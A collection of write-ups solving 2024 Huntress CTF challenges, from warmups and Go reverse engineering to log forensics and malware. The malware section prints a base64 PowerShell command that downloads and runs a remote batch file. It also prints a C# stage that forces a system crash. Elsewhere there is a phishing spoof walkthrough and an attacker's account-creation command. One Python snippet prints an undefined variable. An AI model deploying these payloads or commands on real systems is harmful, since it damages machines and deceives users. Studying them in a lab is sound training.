Some writeups from the 2024 Huntress CTF

image

Unbelievable | Warmups 🏃‍♂️ | @JohnHammond

Don’t believe everything you see on the Internet!

Anyway, have you heard this intro soundtrack from Half-Life 3?

Challenge files: Half-Life_3_OST.mp3 - 0f33ec86710e901eceb6894c96eaab8d88be66f859a4338186e2225a855dcd27

Solution Verify if the .mp3 file is actually what it claims to be using the file command

file Half-Life_3_OST.mp3

You see that it is a .png file, so rename it and open it to find the flag as text in the image file Use an OCR tool/ text extractor to get your flag

tesseract file.png flag

TXT Message | Warmups 🏃‍♂️ | @JohnHammond

Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…

Solution Given the challenge name, we need to look for the TXT record for ctf.games dig TXT ctf.games

;; ANSWER SECTION:
ctf.games.              14400   IN      TXT     "146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175"

We see an interesting TXT record. Looking at the description we see that od is slanted… there is a Linux command od short for octal dump Simply decode the octal dump

31337 Linux cmdline method :

printf '\146\154\141\147\173\061\064\145\060\067\062\146\067\060\065\144\064\065\070\070\062\064\060\061\144\061\064\061\143\065\066\062\146\144\143\060\142\175'
octal_values = [
    146, 154, 141, 147, 173, 61, 64, 145, 60, 67, 62, 146, 67, 60, 65, 144, 64, 65, 70, 
    70, 62, 64, 60, 61, 144, 61, 64, 61, 143, 65, 66, 62, 146, 144, 143, 60, 142, 175
]

# Convert octal values to ASCII characters
decoded = ''.join([chr(int(str(num), 8)) for num in octal_values])
print(ascii_chars_from_octal)

Whamazon | Warmups 🏃‍♂️ | @JohnHammond

Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?

Solution Start the web instance and interact with the web based command line

Trying to buy a flag shows you don’t have enough money

Try buy an apple or something else instead and buy a negative value of it

Infinite money glitch

Now buy the flag

Beat the rock paper scissors by choosing scissors (the shop always chooses paper)

Check inventory for the flag

image

image

image

image

Too Many Bits | Warmups 🏃‍♂️ | @JohnHammond

What do all these ones and zero’s mean!?! We are in the Warmups category after all…

01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101

Solution Convert the binary to text

Cattle | Warmups 🏃‍♂️ | @JohnHammond

I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?

Challenge files: cattle - 105e4572d5ec784cef666e52b45c120fab46985539df2373c49f9c684ac7cc93

Solution Read the file cattle

Notice it has “moo” repeated in different variations and cases

Google moo cipher and find that cow cipher is being used

Decode the cow cipher

MatryoshkaQR | Warmups 🏃‍♂️ | @JohnHammond

Wow! This is a big QR code! I wonder what it says…?

Challenge files: qrcode.png - 9dc337224caa057f0f3eb1134defd2c291a295f861a777101b3eb4987b554c0c

Solution Get the data from the QR code image using a command like:

zbarimg image.png

The data received is a python raw bytes string Simply write the raw bytes to a file using python Get the data from the second QR code:

zbarimg decoded.png

Solution Script:

hex_data = (
    b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"
)

with open("image.png", "wb") as file:
    file.write(hex_data)

Mystery | Warmups 🏃‍♂️ | @MichaelOrlino

Someone sent this to me… such enigma, such mystery:

rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy

Settings as below:

3 Rotor Model
Rotor 1: VI, Initial: A, Ring A
Rotor 2: I, Initial: Q, Ring A
Rotor 3: III, Initial L, Ring A
Reflector: UKW B
Plugboard: BQ CR DI EJ KW MT OS PX UZ GH

Solution Use an enigma cipher machine and use the settings provided - example site: https://www.dcode.fr/enigma-machine-cipher

The following message is revealed: message wrapped in light hidden deeper out of sight locking it more tight anyway your flagis here flag fdfeabcacbebfbadaefbeccaadddbafezzz

Zulu | Warmups 🏃‍♂️ | @JohnHammond

Did you know that zulu is part of the phonetic alphabet?

Challenge files: Zulu - a1385a40dd63729ed733673e925a62f583eb1b795b90193678bd5899bce77c8ae

Solution Use the file command to determine that zulu is a compressed archive

Use 7zip to extract the file zulu~ from the archive; this file contains the flag

Unbelievable | Warmups 🏃‍♂️ | @JohnHammond

You gotta make sure the people who find stuff for you are rewarded well!

Escalate your privileges and uncover the flag.txt in the finder user’s home directory.

Solution Start and connect to the service

Use the find command chained with grep to get the flag

find /home/ -type f -exec grep -E 'flag\{[0-9a-f]{32}' {} \; 2>/dev/null

GoCrackMe1 | Reverse Engineering 🔃 | @HuskyHacks

TENNNNNN-HUT!

Welcome to the Go Dojo, gophers in training!

Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!

First up is the easiest of the three. Go get em!

Challenge File: GoCrackMe1.zip - 5460DF1F9A9708343C7F47FC91AC793C094F0C723C91CFACF3995BAC385891FB (Archive Password: infected)

Solution: Execute the binary, we received “Access Denied!”

image

Load into a disassembler and locate main_main function

Follow the execution flow and note that there’s a conditional jump, one set of instructions is to print the string “Access Denied!” so it’s very likely that we want to reverse the jump to execute the other instructions

image

Load the program into cutter in write mode and reverse the jump. Edit > Reverse Jump

Execute the modified program and receive the flag

image

GoCrackMe2| Reverse Engineering 🔃 | @HuskyHacks

Not bad gophers, but that one was the easiest of the three! How will you do against something a little more involved? I wouldn’t expect to get any help from debugging symbols on this one…

Challenge File: GoCrackMe2.zip - 3AB041E5D7825F0E963EA7DDBC938EFCF33C2F7E082C109358FF268FCF6FF538

Solution (WIP) JBE Instruction at 0x004881a3 - Patch this from JBE (0f 86) to JA (0f 87)

This takes us to a different loop which prints the second half of the flag rather than the first half

GoCrackMe3| Reverse Engineering 🔃 | @HuskyHacks

You’ve trained, you’ve failed, you’ve succeeded, you’ve learned. Everything you’ve done up to this point has prepared you for this moment. Don’t let me down, Gopher. Don’t let me down.

Challenge File: GoCrackMe3.zip - FBFEC8DD944FE9A5A839B49569EC6D0CD3EA34BAA7F6128C1E501F4321978E98 (Archive Password: infected)

Solution Using EDB debugger, step through the program and follow the execution flow, stepping over everything, eventually the progrm will exit with the message “Access Denied!” Re-open the program and locate and step through the different functions responsible for this “Access Denied!” Message, this will take you through the following addresses/ functions:

0x43229b > Points to 0x4f7a00 > Calls 0x4e5340 > 0x4e53ad Calls RSI > 0x4dd1c0 > 0x4d7c00 > 0x4d8120 > 0x403300

Continue to step through until you reach the conditional jump instruction at 0x4f7a76

This instruction will jump to 0x4f7cbe if our Zero Flag is set to 1 from the previous Test al, al instruction, in our case, it is 1, if we change nothing and continue to step through, the program will exit with Access Denied!

We can also note the Access Denied ASCII strings present in some register values

image

Load the program back up and set a breakpoint at 0x4f7a76, this time, we’re going to reverse the jump by changing our Zero Flag from 1 to 0, now we’ll step over to the next instruction at 0x4f7a7c

image

In EDB, change the Zero Flag by double clicking the Z under the registers view

image

Keep stepping through, at 0x4f7dc9 we’re going to hit an instruction that jumps us to 0x4f81ab

image

This initiates a loop between 0x4f819e and 0x4f81ae

image

We’ll toggle a breakpoint at the following instruction 0x4f81b0 which we’ll hit when the loop completes

image

Reviewing the RAX register we can see a string which could indicate part of the flag is being written

image

We step through the program and keep re-iterating the same loop for further bytes to be written to R12, including a flag{ string, a strong indication that this is our flag being written Eventually, if we keep stepping through, the program will exit and we will receive “Access Still Denied!”, the R12 register will look like so at this point, we are still missing some characters for the flag: (In some cases the program terminates only after the first part is written)

image

Debug the program again and do the same thing, pay attention to the instructions after the loop completes: It jumps to 0x4f7dce, performs a Test Al, Al at 0x4f7d80 followed by a conditional jump (JE to 0x4f7e45) at 0x4f7d82 If our Zero Flag is 1 at this point, we hit this jump to 0x4f7e45 which will terminate the program We need to ensure that our Zero Flag is set to 0 at this instruction to be taken back to the loop, so this is another good place to set a breakpoint and ensure the ZF is 0

image

After changing our ZF and returning the loop, the entire flag will be written and visible in the R12 register

image

Now it’s just a case of stepping through, we’ll hit another loop and see that the flag will start to be written in the R12 register in the correct order

image

After completing the loops a few times, we’ll see the full flag

image

If you go too far, the program will exit with “Actually, I don’t feel like printing the flag… But I can tell you that the flag is 38 characters long.”

No Need For Brutus | Cryptography 🔐 | @aenygma

A simple message for you to decipher:

squiqhyiiycfbudeduutvehrhkjki

Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}

Ex: If the deciphered text is “hello world”, the MD5 hash would be 5eb63bbbe01eeed093cb22bb8f5acdc3, and the flag would be flag{5eb63bbbe01eeed093cb22bb8f5acdc3}.

Solution Brutus suggests that Ceaser Cipher (ROT cipher) is being used

List out all of the ROT13 possibilities squiqhyiiycfbudeduutvehrhkjki and find the answer caesarissimplenoneedforbrutus (ROT10)

MD5 hash the answer

Obfuscation Station | Forensics🔎 | @resume

You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?

Challenge File: Challenge.zip - A92182E35CA0C0B71EE61C9DBBDE81AC95E0A419346B853CB67F38DCDA2B7F8C

Solution: From Base64, Raw Inflate

Nightmare On Hunt Street! | Forensics 🔎 | Austin Worline, Jose Oregon, and Adrian Garcia

DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.

Are you able to unravel the attack chain?

Challenge File: logs-parts1-5.zip - 9c41270027093e8d46b8acf6c7cfbc052b9a786b7315af26ed2d0d4dbbdde139

Part 1

The first question is:

What is the IP address of the host that the attacker used?

NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.

Author: Austin Worline, Jose Oregon, and Adrian Garcia

The Security and System event logs contain legitimate data, the Application event logs appear to be empty.

Solution:

  • Use evtxecmd to process the system and security event logs.
  • Search for 4624/4625 events which show the Source endpoint as Kali (10.1.1.42)

Flag: 10.1.1.42

Part 2

How many times was the compromised account brute-forced? Answer just the integer value.

NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.

Author: Austin Worline, Jose Oregon, and Adrian Garcia

Solution:

  • Use evtxecmd to process the system and security event logs.
  • Search for logon failed events (4625) for jsmith. 32 events are shown

Flag: 32

Part 3

What is the name of the offensive security tool that was used to gain initial access? Answer in all lowercase.

NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.

Author: Austin Worline, Jose Oregon, and Adrian Garcia

Solution:

  • Use evtxecmd to process the system and security event logs.

  • The logons to the host were type 3 logons, indicaitng a suite such as Impacket was used to achieve command execution

  • Following the logon event for jsmith, we can see process creation events (4688) for the following:
    • C:\Windows\wgWMRHln.exe
    • C:\Windows\qebXSwGD.exe
    • C:\Windows\MrEQbpfX.exe
  • The process creation events indicate the binary was executed as SYSTEM

  • Reviewing the System logs, we can see service creation events (7045) for the above binaries with random 4 letter names (fdpa/WREx)

These behaviours are consistent with the use of Impacket PSExec

(In reality just guess psexec and win)

Flag: psexec

Part 4

How many unique enumeration commands were run with net.exe? Answer just the integer value.

NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.

Author: Austin Worline, Jose Oregon, and Adrian Garcia

Solution:

  • Use evtxecmd to process the system and security event logs.

  • Search for Process Creation (4688) events with the Executable net.exe
  • Count the enumeration commands
    • net user
    • net localgroup
    • net share

Flag: 3

Part 5

What password was successfully given to the user created?

NOTE: Flags for Part #1 to Part #5 will all be human-readable answers and in a non-standard flag format. You will use the same downloadable attachment and log files to answer all the questions.

Solution:

  • Use evtxecmd to process the system and security event logs.

  • Search for User Creation (4720) events

  • Review the Process Creation (4688) events prior to the 4720 event, we can see a net.exe process with the following command line:

C:\Windows\SysWOW64\net.exe “C:\Windows\system32\net.exe” user susan_admin Susan123! /ADD

Flag: Susan123!

Russian Roulette | Malware 👾 | @JohnHammond

My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! 😦

WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.

NOTE: Archive password is russianroulette

Challenge File: _russian_roulette.zip - fbce2a38c647f4cfcbbe16d3b05747b3175e3083d62831c09ff1e94940b43d78

Solution:

Right Click > Properties > Target:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwB6AGQANABoAFoAbgAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=

Convert from Base64

image

Follow ‘is[.]gd/zd4hZn’ and download the file

Review the file, it saves as a zip but is actually a batch script

Review the file, appears to be encoded characters

image

This isn’t encountered when downloading the file with a Linux operating system

Decoding from and encoding to UTF-16LE and downloading the new file in CyberChef fixes this issue

image

Clean up by removing the comments

Find ::.*

Replace with nothing

Remove the first two lines and find / replace the first few variable sets

image

image

image

Execute the batch file, saving the output to a new file

image

Identify suspicious PowerShell command and decode the Base64 encoded string to reveal a new URL

image

Download the file at ‘is[.]gd/QRDyiP’ Open in a text editor, replace ; with a new line (\n) to make it more readable

File Contents:

$s='using System
using System.Text
using System.Security.Cryptography
using System.Runtime.InteropServices
using System.IO
public class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o)
[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r)
public static unsafe string Shot(){bool o
uint r
RtlAdjustPrivilege(19,true,false,out o)
NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r)
byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw")
byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=")
byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==")
using(Aes a=Aes.Create()){a.Key=k
a.IV=i
ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV)
using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd()
}}}}'
$c=New-Object System.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions='/unsafe'
$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c
if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"

c is converted to a MemoryStream, after AES decryption using k as the key and i as the IV

Copy the c variable as the input, Use a From Base64 operating, then an AES decrypt operation with the k variable as the key and i for the IV

image

Strange Calc | Malware 👾 | @JohnHammond

I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??

NOTE: Archive password is strange_calc

Challenge File: calc.zip - 4c95f07e2269b31bbc3b577ac37a9f1e5890d475076eac2402b4bd0d2b834b78

Solution: -Extract AutoIT Script -Convert $a from Base64 and Microsoft Script Decoder -Add console.log to various lines through the script and run through a browser console to debug and view contents

Solution Script:

function a(b) {
    var c = "", d = b.split("\n");
    console.log("Split lines:", d);
    for (var e = 0; e < d.length; e++) {
        var f = d[e].replace(/^\s+|\s+$/g, '');
        console.log("Processed line:", f);
        if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
        var g = (f.charCodeAt(0) - 32) & 63;
        console.log("g value:", g);
        for (var h = 1; h < f.length; h += 4) {
            if (h + 3 >= f.length) break;
            var i = (f.charCodeAt(h) - 32) & 63,
                j = (f.charCodeAt(h + 1) - 32) & 63,
                k = (f.charCodeAt(h + 2) - 32) & 63,
                l = (f.charCodeAt(h + 3) - 32) & 63;
            console.log("i, j, k, l values:", i, j, k, l);
            c += String.fromCharCode((i << 2) | (j >> 4));
            console.log("Intermediate c value after first char:", c);
            if (h + 2 < f.length - 1) {
                c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
                console.log("Intermediate c value after second char:", c);
            }
            if (h + 3 < f.length - 1) {
                c += String.fromCharCode(((k & 3) << 6) | l);
                console.log("Intermediate c value after third char:", c);
            }
        }
    }
    console.log("Final c value before substring:", c);
    return c
}

var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
console.log("Decoded string:", n);

Red Phish Blue Phish! | Misc ❓ | @truman.huntress, @adam.huntress

You are to conduct a phishing excercise against our client, Pyrch Data.

We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing.

Are you able to successfully phish her? Remember your OSINT 😉

NOTE: The port that becomes accessible upon challenge deployment is an SMTP server. Please use this for sending any phishing emails.

You will not receive an email/human response as the mail infrastructure for this challenge is emulated.

This challenge had a web interface to start

Solution Connect to the provided SMTP server using telnet

Do a bit of OSINT on pyrch to see the company website (pyrchdata.com) and see that the security officer is called Joe Davern

image

Using what we know, craft a phishing email pretending to be the IT Security Manager

We know the email format is firstname_firstletter + surname@pyrchdata.com because Sarah Williams (swilliams@pyrchdata.com)

Pretend to be jdaveren@pyrchdata.com (the subjects and contents don’t really matter, but have fun crafting your phishing email

image

Base64by32 | Scripting 📜 | @JohnHammond

This is a dumb challenge. I’m sorry.

Challenge files: base64by32.zip - cef862a3606afc9ba862986f0fb28cbad0346fa8f4b8ccc76b7d339c141fb2bb

Solution Unzip the archive base64by32.zip

The challenge title tells you what to do… base64 decode the file 32 times

Solution Script:

#!/bin/bash

encoded_string=$(cat base64by32)

decode_base64() {
    echo "$1" | base64 -d
}

for ((i=1; i<=32; i++)); do
    encoded_string=$(decode_base64 "$encoded_string")
    #echo  "Decoded $i times: $encoded_string"
done

echo "Decoded 32 times: $encoded_string"